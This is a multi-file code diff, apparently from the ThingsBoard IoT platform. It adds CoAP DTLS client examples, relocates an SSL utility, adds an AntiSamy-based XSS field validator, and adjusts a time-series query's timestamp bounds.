  44 + private ExecutorService executor = Executors.newFixedThreadPool(1);
  45 + private CoapClient coapClient;
  46 +
  47 + public SecureClientNoAuth(DTLSConnector dtlsConnector, String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
  48 + this.dtlsConnector = dtlsConnector;
  49 + this.coapClient = getCoapClient(host, port, accessToken, clientKeys, sharedKeys);
  50 + }
  51 +
  52 + public void test() {
  53 + executor.submit(() -> {
  54 + try {
  55 + while (!Thread.interrupted()) {
  56 + CoapResponse response = null;
  57 + try {
  58 + response = coapClient.get();
  59 + } catch (ConnectorException | IOException e) {
  60 + System.err.println("Error occurred while sending request: " + e);
  61 + System.exit(-1);
  62 + }
  63 + if (response != null) {
  64 +
  65 + System.out.println(response.getCode() + " - " + response.getCode().name());
  66 + System.out.println(response.getOptions());
  67 + System.out.println(response.getResponseText());
  68 + System.out.println();
  69 + System.out.println("ADVANCED:");
  70 + EndpointContext context = response.advanced().getSourceContext();
  71 + Principal identity = context.getPeerIdentity();
  72 + if (identity != null) {
  73 + System.out.println(context.getPeerIdentity());
  74 + } else {
  75 + System.out.println("anonymous");
  76 + }
  77 + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
  78 + System.out.println(Utils.prettyPrint(response));
  79 + } else {
  80 + System.out.println("No response received.");
  81 + }
  82 + Thread.sleep(5000);
  83 + }
  84 + } catch (Exception e) {
  85 + System.out.println("Error occurred while sending COAP requests.");
  86 + }
  87 + });
  88 + }
  89 +
  90 + private CoapClient getCoapClient(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
  91 + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys));
  92 + CoapClient client = new CoapClient(uri);
  93 + CoapEndpoint.Builder builder = new CoapEndpoint.Builder();
  94 + builder.setConnector(dtlsConnector);
  95 +
  96 + client.setEndpoint(builder.build());
  97 + return client;
  98 + }
  99 +
  100 + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) {
  101 + return "coaps://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
  102 + }
  103 +
  104 + public static void main(String[] args) throws URISyntaxException {
  105 + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientNoAuth " +
  106 + "host port accessToken keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys");
  107 +
  108 + String host = args[0];
  109 + int port = Integer.parseInt(args[1]);
  110 + String accessToken = args[2];
  111 + String clientKeys = args[7];
  112 + String sharedKeys = args[8];
  113 +
  114 + String keyStoreUriPath = args[3];
  115 + String keyStoreAlias = args[4];
  116 + String trustedAliasPattern = args[5];
  117 + String keyStorePassword = args[6];
  118 +
  119 +
  120 + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder();
  121 + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword);
  122 + DTLSConnector dtlsConnector = new DTLSConnector(builder.build());
  123 + SecureClientNoAuth client = new SecureClientNoAuth(dtlsConnector, host, port, accessToken, clientKeys, sharedKeys);
  124 + client.test();
  125 + }
  126 +
  127 + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) {
  128 + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
  129 + try {
  130 + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials(
  131 + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray());
  132 + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
  133 + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray());
  134 + trustBuilder.setTrustedCertificates(trustedCertificates);
  135 + config.setAdvancedCertificateVerifier(trustBuilder.build());
  136 + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509));
  137 + } catch (GeneralSecurityException e) {
  138 + System.err.println("certificates are invalid!");
  139 + throw new IllegalArgumentException(e.getMessage());
  140 + } catch (IOException e) {
  141 + System.err.println("certificates are missing!");
  142 + throw new IllegalArgumentException(e.getMessage());
  143 + }
  144 + }
  145 +}
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap.client;
  17 +
  18 +import org.eclipse.californium.core.CoapClient;
  19 +import org.eclipse.californium.core.CoapResponse;
  20 +import org.eclipse.californium.core.Utils;
  21 +import org.eclipse.californium.core.network.CoapEndpoint;
  22 +import org.eclipse.californium.elements.DtlsEndpointContext;
  23 +import org.eclipse.californium.elements.EndpointContext;
  24 +import org.eclipse.californium.elements.exception.ConnectorException;
  25 +import org.eclipse.californium.elements.util.SslContextUtil;
  26 +import org.eclipse.californium.scandium.DTLSConnector;
  27 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
  28 +import org.eclipse.californium.scandium.dtls.CertificateType;
  29 +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
  30 +
  31 +import java.io.IOException;
  32 +import java.net.URI;
  33 +import java.net.URISyntaxException;
  34 +import java.security.GeneralSecurityException;
  35 +import java.security.Principal;
  36 +import java.security.cert.Certificate;
  37 +import java.util.Collections;
  38 +import java.util.concurrent.ExecutorService;
  39 +import java.util.concurrent.Executors;
  40 +
  41 +public class SecureClientX509 {
  42 +
  43 + private final DTLSConnector dtlsConnector;
  44 + private ExecutorService executor = Executors.newFixedThreadPool(1);
  45 + private CoapClient coapClient;
  46 +
  47 + public SecureClientX509(DTLSConnector dtlsConnector, String host, int port, String clientKeys, String sharedKeys) throws URISyntaxException {
  48 + this.dtlsConnector = dtlsConnector;
  49 + this.coapClient = getCoapClient(host, port, clientKeys, sharedKeys);
  50 + }
  51 +
  52 + public void test() {
  53 + executor.submit(() -> {
  54 + try {
  55 + while (!Thread.interrupted()) {
  56 + CoapResponse response = null;
  57 + try {
  58 + response = coapClient.get();
  59 + } catch (ConnectorException | IOException e) {
  60 + System.err.println("Error occurred while sending request: " + e);
  61 + System.exit(-1);
  62 + }
  63 + if (response != null) {
  64 +
  65 + System.out.println(response.getCode() + " - " + response.getCode().name());
  66 + System.out.println(response.getOptions());
  67 + System.out.println(response.getResponseText());
  68 + System.out.println();
  69 + System.out.println("ADVANCED:");
  70 + EndpointContext context = response.advanced().getSourceContext();
  71 + Principal identity = context.getPeerIdentity();
  72 + if (identity != null) {
  73 + System.out.println(context.getPeerIdentity());
  74 + } else {
  75 + System.out.println("anonymous");
  76 + }
  77 + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
  78 + System.out.println(Utils.prettyPrint(response));
  79 + } else {
  80 + System.out.println("No response received.");
  81 + }
  82 + Thread.sleep(5000);
  83 + }
  84 + } catch (Exception e) {
  85 + System.out.println("Error occurred while sending COAP requests.");
  86 + }
  87 + });
  88 + }
  89 +
  90 + private CoapClient getCoapClient(String host, Integer port, String clientKeys, String sharedKeys) throws URISyntaxException {
  91 + URI uri = new URI(getFutureUrl(host, port, clientKeys, sharedKeys));
  92 + CoapClient client = new CoapClient(uri);
  93 + CoapEndpoint.Builder builder = new CoapEndpoint.Builder();
  94 + builder.setConnector(dtlsConnector);
  95 +
  96 + client.setEndpoint(builder.build());
  97 + return client;
  98 + }
  99 +
  100 + private String getFutureUrl(String host, Integer port, String clientKeys, String sharedKeys) {
  101 + return "coaps://" + host + ":" + port + "/api/v1/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
  102 + }
  103 +
  104 + public static void main(String[] args) throws URISyntaxException {
  105 + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientX509 " +
  106 + "host port keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys");
  107 +
  108 + String host = args[0];
  109 + int port = Integer.parseInt(args[1]);
  110 + String clientKeys = args[6];
  111 + String sharedKeys = args[7];
  112 +
  113 + String keyStoreUriPath = args[2];
  114 + String keyStoreAlias = args[3];
  115 + String trustedAliasPattern = args[4];
  116 + String keyStorePassword = args[5];
  117 +
  118 +
  119 + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder();
  120 + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword);
  121 + DTLSConnector dtlsConnector = new DTLSConnector(builder.build());
  122 + SecureClientX509 client = new SecureClientX509(dtlsConnector, host, port, clientKeys, sharedKeys);
  123 + client.test();
  124 + }
  125 +
  126 + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) {
  127 + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
  128 + try {
  129 + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials(
  130 + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray());
  131 + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
  132 + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray());
  133 + trustBuilder.setTrustedCertificates(trustedCertificates);
  134 + config.setAdvancedCertificateVerifier(trustBuilder.build());
  135 + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509));
  136 + } catch (GeneralSecurityException e) {
  137 + System.err.println("certificates are invalid!");
  138 + throw new IllegalArgumentException(e.getMessage());
  139 + } catch (IOException e) {
  140 + System.err.println("certificates are missing!");
  141 + throw new IllegalArgumentException(e.getMessage());
  142 + }
  143 + }
  144 +}
@@ -30,7 +30,7 @@ import org.thingsboard.server.common.transport.TransportService; @@ -30,7 +30,7 @@ import org.thingsboard.server.common.transport.TransportService;
30 import org.thingsboard.server.common.transport.TransportServiceCallback; 30 import org.thingsboard.server.common.transport.TransportServiceCallback;
31 import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; 31 import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse;
32 import org.thingsboard.server.gen.transport.TransportProtos; 32 import org.thingsboard.server.gen.transport.TransportProtos;
33 -import org.thingsboard.server.transport.mqtt.util.SslUtil; 33 +import org.thingsboard.server.common.transport.util.SslUtil;
34 34
35 import javax.net.ssl.KeyManager; 35 import javax.net.ssl.KeyManager;
36 import javax.net.ssl.KeyManagerFactory; 36 import javax.net.ssl.KeyManagerFactory;
@@ -41,7 +41,6 @@ import javax.net.ssl.TrustManagerFactory; @@ -41,7 +41,6 @@ import javax.net.ssl.TrustManagerFactory;
41 import javax.net.ssl.X509TrustManager; 41 import javax.net.ssl.X509TrustManager;
42 import java.io.File; 42 import java.io.File;
43 import java.io.FileInputStream; 43 import java.io.FileInputStream;
44 -import java.io.IOException;  
45 import java.io.InputStream; 44 import java.io.InputStream;
46 import java.net.URL; 45 import java.net.URL;
47 import java.security.KeyStore; 46 import java.security.KeyStore;
@@ -66,7 +66,7 @@ import org.thingsboard.server.transport.mqtt.adaptors.MqttTransportAdaptor; @@ -66,7 +66,7 @@ import org.thingsboard.server.transport.mqtt.adaptors.MqttTransportAdaptor;
66 import org.thingsboard.server.transport.mqtt.session.DeviceSessionCtx; 66 import org.thingsboard.server.transport.mqtt.session.DeviceSessionCtx;
67 import org.thingsboard.server.transport.mqtt.session.GatewaySessionHandler; 67 import org.thingsboard.server.transport.mqtt.session.GatewaySessionHandler;
68 import org.thingsboard.server.transport.mqtt.session.MqttTopicMatcher; 68 import org.thingsboard.server.transport.mqtt.session.MqttTopicMatcher;
69 -import org.thingsboard.server.transport.mqtt.util.SslUtil; 69 +import org.thingsboard.server.common.transport.util.SslUtil;
70 70
71 import javax.net.ssl.SSLPeerUnverifiedException; 71 import javax.net.ssl.SSLPeerUnverifiedException;
72 import java.security.cert.Certificate; 72 import java.security.cert.Certificate;
@@ -146,7 +146,7 @@ public class ProtoMqttAdaptor implements MqttTransportAdaptor { @@ -146,7 +146,7 @@ public class ProtoMqttAdaptor implements MqttTransportAdaptor {
146 146
147 @Override 147 @Override
148 public Optional<MqttMessage> convertToPublish(MqttDeviceAwareSessionContext ctx, TransportProtos.ToDeviceRpcRequestMsg rpcRequest) { 148 public Optional<MqttMessage> convertToPublish(MqttDeviceAwareSessionContext ctx, TransportProtos.ToDeviceRpcRequestMsg rpcRequest) {
149 - return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), rpcRequest.toByteArray())); 149 + return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), ProtoConverter.convertToRpcRequest(rpcRequest)));
150 } 150 }
151 151
152 @Override 152 @Override
@@ -107,7 +107,7 @@ public class JsonConverter { @@ -107,7 +107,7 @@ public class JsonConverter {
107 public static ClaimDeviceMsg convertToClaimDeviceProto(DeviceId deviceId, String json) { 107 public static ClaimDeviceMsg convertToClaimDeviceProto(DeviceId deviceId, String json) {
108 long durationMs = 0L; 108 long durationMs = 0L;
109 if (json != null && !json.isEmpty()) { 109 if (json != null && !json.isEmpty()) {
110 - return convertToClaimDeviceProto(deviceId, new JsonParser().parse(json)); 110 + return convertToClaimDeviceProto(deviceId, JSON_PARSER.parse(json));
111 } 111 }
112 return buildClaimDeviceMsg(deviceId, DataConstants.DEFAULT_SECRET_KEY, durationMs); 112 return buildClaimDeviceMsg(deviceId, DataConstants.DEFAULT_SECRET_KEY, durationMs);
113 } 113 }
@@ -156,7 +156,7 @@ public class JsonConverter { @@ -156,7 +156,7 @@ public class JsonConverter {
156 result.addProperty("id", msg.getRequestId()); 156 result.addProperty("id", msg.getRequestId());
157 } 157 }
158 result.addProperty("method", msg.getMethodName()); 158 result.addProperty("method", msg.getMethodName());
159 - result.add("params", new JsonParser().parse(msg.getParams())); 159 + result.add("params", JSON_PARSER.parse(msg.getParams()));
160 return result; 160 return result;
161 } 161 }
162 162
@@ -405,7 +405,7 @@ public class JsonConverter { @@ -405,7 +405,7 @@ public class JsonConverter {
405 405
406 public static JsonElement toJson(TransportProtos.ToServerRpcResponseMsg msg) { 406 public static JsonElement toJson(TransportProtos.ToServerRpcResponseMsg msg) {
407 if (StringUtils.isEmpty(msg.getError())) { 407 if (StringUtils.isEmpty(msg.getError())) {
408 - return new JsonParser().parse(msg.getPayload()); 408 + return JSON_PARSER.parse(msg.getPayload());
409 } else { 409 } else {
410 JsonObject errorMsg = new JsonObject(); 410 JsonObject errorMsg = new JsonObject();
411 errorMsg.addProperty("error", msg.getError()); 411 errorMsg.addProperty("error", msg.getError());
@@ -563,7 +563,7 @@ public class JsonConverter { @@ -563,7 +563,7 @@ public class JsonConverter {
563 } 563 }
564 564
565 public static TransportProtos.ProvisionDeviceRequestMsg convertToProvisionRequestMsg(String json) { 565 public static TransportProtos.ProvisionDeviceRequestMsg convertToProvisionRequestMsg(String json) {
566 - JsonElement jsonElement = new JsonParser().parse(json); 566 + JsonElement jsonElement = JSON_PARSER.parse(json);
567 if (jsonElement.isJsonObject()) { 567 if (jsonElement.isJsonObject()) {
568 return buildProvisionRequestMsg(jsonElement.getAsJsonObject()); 568 return buildProvisionRequestMsg(jsonElement.getAsJsonObject());
569 } else { 569 } else {
@@ -15,7 +15,9 @@ @@ -15,7 +15,9 @@
15 */ 15 */
16 package org.thingsboard.server.common.transport.adaptor; 16 package org.thingsboard.server.common.transport.adaptor;
17 17
  18 +import com.google.gson.JsonElement;
18 import com.google.gson.JsonParser; 19 import com.google.gson.JsonParser;
  20 +import com.google.gson.JsonPrimitive;
19 import com.google.protobuf.InvalidProtocolBufferException; 21 import com.google.protobuf.InvalidProtocolBufferException;
20 import lombok.extern.slf4j.Slf4j; 22 import lombok.extern.slf4j.Slf4j;
21 import org.springframework.util.CollectionUtils; 23 import org.springframework.util.CollectionUtils;
@@ -167,4 +169,27 @@ public class ProtoConverter { @@ -167,4 +169,27 @@ public class ProtoConverter {
167 }); 169 });
168 return kvList; 170 return kvList;
169 } 171 }
  172 +
  173 + public static byte[] convertToRpcRequest(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) {
  174 + TransportProtos.ToDeviceRpcRequestMsg.Builder toDeviceRpcRequestMsgBuilder = toDeviceRpcRequestMsg.newBuilderForType();
  175 + toDeviceRpcRequestMsgBuilder.mergeFrom(toDeviceRpcRequestMsg);
  176 + toDeviceRpcRequestMsgBuilder.setParams(parseParams(toDeviceRpcRequestMsg));
  177 + TransportProtos.ToDeviceRpcRequestMsg result = toDeviceRpcRequestMsgBuilder.build();
  178 + return result.toByteArray();
  179 + }
  180 +
  181 + private static String parseParams(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) {
  182 + String params = toDeviceRpcRequestMsg.getParams();
  183 + JsonElement jsonElementParams = JSON_PARSER.parse(params);
  184 + if (!jsonElementParams.isJsonPrimitive()) {
  185 + return params;
  186 + } else {
  187 + JsonPrimitive primitiveParams = jsonElementParams.getAsJsonPrimitive();
  188 + if (jsonElementParams.getAsJsonPrimitive().isString()) {
  189 + return primitiveParams.getAsString();
  190 + } else {
  191 + return params;
  192 + }
  193 + }
  194 + }
170 } 195 }
@@ -25,7 +25,15 @@ import java.util.UUID; @@ -25,7 +25,15 @@ import java.util.UUID;
25 public class SessionInfoCreator { 25 public class SessionInfoCreator {
26 26
27 public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, TransportContext context, UUID sessionId) { 27 public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, TransportContext context, UUID sessionId) {
28 - return TransportProtos.SessionInfoProto.newBuilder().setNodeId(context.getNodeId()) 28 + return getSessionInfoProto(msg, context.getNodeId(), sessionId);
  29 + }
  30 +
  31 + public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) {
  32 + return getSessionInfoProto(msg, nodeId, sessionId);
  33 + }
  34 +
  35 + private static TransportProtos.SessionInfoProto getSessionInfoProto(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) {
  36 + return TransportProtos.SessionInfoProto.newBuilder().setNodeId(nodeId)
29 .setSessionIdMSB(sessionId.getMostSignificantBits()) 37 .setSessionIdMSB(sessionId.getMostSignificantBits())
30 .setSessionIdLSB(sessionId.getLeastSignificantBits()) 38 .setSessionIdLSB(sessionId.getLeastSignificantBits())
31 .setDeviceIdMSB(msg.getDeviceInfo().getDeviceId().getId().getMostSignificantBits()) 39 .setDeviceIdMSB(msg.getDeviceInfo().getDeviceId().getId().getMostSignificantBits())
common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/util/SslUtil.java renamed from common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/util/SslUtil.java
@@ -13,13 +13,12 @@ @@ -13,13 +13,12 @@
13 * See the License for the specific language governing permissions and 13 * See the License for the specific language governing permissions and
14 * limitations under the License. 14 * limitations under the License.
15 */ 15 */
16 -package org.thingsboard.server.transport.mqtt.util; 16 +package org.thingsboard.server.common.transport.util;
17 17
18 import lombok.extern.slf4j.Slf4j; 18 import lombok.extern.slf4j.Slf4j;
19 import org.springframework.util.Base64Utils; 19 import org.springframework.util.Base64Utils;
20 import org.thingsboard.server.common.msg.EncryptionUtil; 20 import org.thingsboard.server.common.msg.EncryptionUtil;
21 21
22 -import java.io.IOException;  
23 import java.security.cert.Certificate; 22 import java.security.cert.Certificate;
24 import java.security.cert.CertificateEncodingException; 23 import java.security.cert.CertificateEncodingException;
25 24
@@ -112,6 +112,14 @@ @@ -112,6 +112,14 @@
112 <artifactId>jackson-databind</artifactId> 112 <artifactId>jackson-databind</artifactId>
113 </dependency> 113 </dependency>
114 <dependency> 114 <dependency>
  115 + <groupId>org.hibernate.validator</groupId>
  116 + <artifactId>hibernate-validator</artifactId>
  117 + </dependency>
  118 + <dependency>
  119 + <groupId>org.glassfish</groupId>
  120 + <artifactId>javax.el</artifactId>
  121 + </dependency>
  122 + <dependency>
115 <groupId>org.springframework</groupId> 123 <groupId>org.springframework</groupId>
116 <artifactId>spring-context</artifactId> 124 <artifactId>spring-context</artifactId>
117 </dependency> 125 </dependency>
@@ -199,6 +207,11 @@ @@ -199,6 +207,11 @@
199 <scope>test</scope> 207 <scope>test</scope>
200 </dependency> 208 </dependency>
201 <dependency> 209 <dependency>
  210 + <groupId>org.junit.jupiter</groupId>
  211 + <artifactId>junit-jupiter-params</artifactId>
  212 + <scope>test</scope>
  213 + </dependency>
  214 + <dependency>
202 <groupId>org.springframework</groupId> 215 <groupId>org.springframework</groupId>
203 <artifactId>spring-context-support</artifactId> 216 <artifactId>spring-context-support</artifactId>
204 </dependency> 217 </dependency>
@@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
17 17
18 import com.fasterxml.jackson.databind.JsonNode; 18 import com.fasterxml.jackson.databind.JsonNode;
19 import lombok.extern.slf4j.Slf4j; 19 import lombok.extern.slf4j.Slf4j;
  20 +import org.hibernate.validator.HibernateValidator;
  21 +import org.hibernate.validator.HibernateValidatorConfiguration;
  22 +import org.hibernate.validator.cfg.ConstraintMapping;
20 import org.thingsboard.server.common.data.BaseData; 23 import org.thingsboard.server.common.data.BaseData;
21 import org.thingsboard.server.common.data.EntityType; 24 import org.thingsboard.server.common.data.EntityType;
22 import org.thingsboard.server.common.data.id.TenantId; 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
23 import org.thingsboard.server.dao.TenantEntityDao; 27 import org.thingsboard.server.dao.TenantEntityDao;
24 import org.thingsboard.server.dao.exception.DataValidationException; 28 import org.thingsboard.server.dao.exception.DataValidationException;
25 29
  30 +import javax.validation.ConstraintViolation;
  31 +import javax.validation.Validation;
  32 +import javax.validation.Validator;
26 import java.util.HashSet; 33 import java.util.HashSet;
27 import java.util.Iterator; 34 import java.util.Iterator;
  35 +import java.util.List;
28 import java.util.Set; 36 import java.util.Set;
29 import java.util.function.Function; 37 import java.util.function.Function;
30 import java.util.regex.Matcher; 38 import java.util.regex.Matcher;
31 import java.util.regex.Pattern; 39 import java.util.regex.Pattern;
  40 +import java.util.stream.Collectors;
32 41
33 @Slf4j 42 @Slf4j
34 public abstract class DataValidator<D extends BaseData<?>> { 43 public abstract class DataValidator<D extends BaseData<?>> {
35 private static final Pattern EMAIL_PATTERN = 44 private static final Pattern EMAIL_PATTERN =
36 Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); 45 Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
37 46
  47 + private static Validator fieldsValidator;
  48 +
  49 + static {
  50 + initializeFieldsValidator();
  51 + }
  52 +
38 public void validate(D data, Function<D, TenantId> tenantIdFunction) { 53 public void validate(D data, Function<D, TenantId> tenantIdFunction) {
39 try { 54 try {
40 if (data == null) { 55 if (data == null) {
41 throw new DataValidationException("Data object can't be null!"); 56 throw new DataValidationException("Data object can't be null!");
42 } 57 }
  58 +
  59 + List<String> validationErrors = validateFields(data);
  60 + if (!validationErrors.isEmpty()) {
  61 + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
  62 + }
  63 +
43 TenantId tenantId = tenantIdFunction.apply(data); 64 TenantId tenantId = tenantIdFunction.apply(data);
44 validateDataImpl(tenantId, data); 65 validateDataImpl(tenantId, data);
45 if (data.getId() == null) { 66 if (data.getId() == null) {
@@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
81 return emailMatcher.matches(); 102 return emailMatcher.matches();
82 } 103 }
83 104
  105 + private List<String> validateFields(D data) {
  106 + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
  107 + return constraintsViolations.stream()
  108 + .map(ConstraintViolation::getMessage)
  109 + .distinct()
  110 + .collect(Collectors.toList());
  111 + }
  112 +
84 protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, 113 protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
85 TenantEntityDao tenantEntityDao, 114 TenantEntityDao tenantEntityDao,
86 long maxEntities, 115 long maxEntities,
@@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
111 throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); 140 throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
112 } 141 }
113 } 142 }
  143 +
  144 + private static void initializeFieldsValidator() {
  145 + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
  146 + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
  147 + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
  148 + validatorConfiguration.addMapping(constraintMapping);
  149 +
  150 + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
  151 + }
114 } 152 }
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import com.google.common.io.Resources;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +import org.owasp.validator.html.AntiSamy;
  21 +import org.owasp.validator.html.Policy;
  22 +import org.owasp.validator.html.PolicyException;
  23 +import org.owasp.validator.html.ScanException;
  24 +import org.thingsboard.server.common.data.validation.NoXss;
  25 +
  26 +import javax.validation.ConstraintValidator;
  27 +import javax.validation.ConstraintValidatorContext;
  28 +
  29 +@Slf4j
  30 +public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
  31 + private static final AntiSamy xssChecker = new AntiSamy();
  32 + private static Policy xssPolicy;
  33 +
  34 + @Override
  35 + public void initialize(NoXss constraintAnnotation) {
  36 + if (xssPolicy == null) {
  37 + try {
  38 + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
  39 + } catch (Exception e) {
  40 + log.error("Failed to set xss policy: {}", e.getMessage());
  41 + }
  42 + }
  43 + }
  44 +
  45 + @Override
  46 + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
  47 + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
  48 + return true;
  49 + }
  50 +
  51 + try {
  52 + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
  53 + } catch (ScanException | PolicyException e) {
  54 + return false;
  55 + }
  56 + }
  57 +}
@@ -33,7 +33,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt @@ -33,7 +33,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt
33 33
34 @Query("SELECT tskv FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + 34 @Query("SELECT tskv FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " +
35 "AND tskv.key = :entityKey " + 35 "AND tskv.key = :entityKey " +
36 - "AND tskv.ts > :startTs AND tskv.ts <= :endTs") 36 + "AND tskv.ts >= :startTs AND tskv.ts < :endTs")
37 List<TimescaleTsKvEntity> findAllWithLimit( 37 List<TimescaleTsKvEntity> findAllWithLimit(
38 @Param("entityId") UUID entityId, 38 @Param("entityId") UUID entityId,
39 @Param("entityKey") int key, 39 @Param("entityKey") int key,
@@ -44,7 +44,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt @@ -44,7 +44,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt
44 @Modifying 44 @Modifying
45 @Query("DELETE FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + 45 @Query("DELETE FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " +
46 "AND tskv.key = :entityKey " + 46 "AND tskv.key = :entityKey " +
47 - "AND tskv.ts > :startTs AND tskv.ts <= :endTs") 47 + "AND tskv.ts >= :startTs AND tskv.ts < :endTs")
48 void delete(@Param("entityId") UUID entityId, 48 void delete(@Param("entityId") UUID entityId,
49 @Param("entityKey") int key, 49 @Param("entityKey") int key,
50 @Param("startTs") long startTs, 50 @Param("startTs") long startTs,
@@ -32,7 +32,7 @@ import java.util.concurrent.CompletableFuture; @@ -32,7 +32,7 @@ import java.util.concurrent.CompletableFuture;
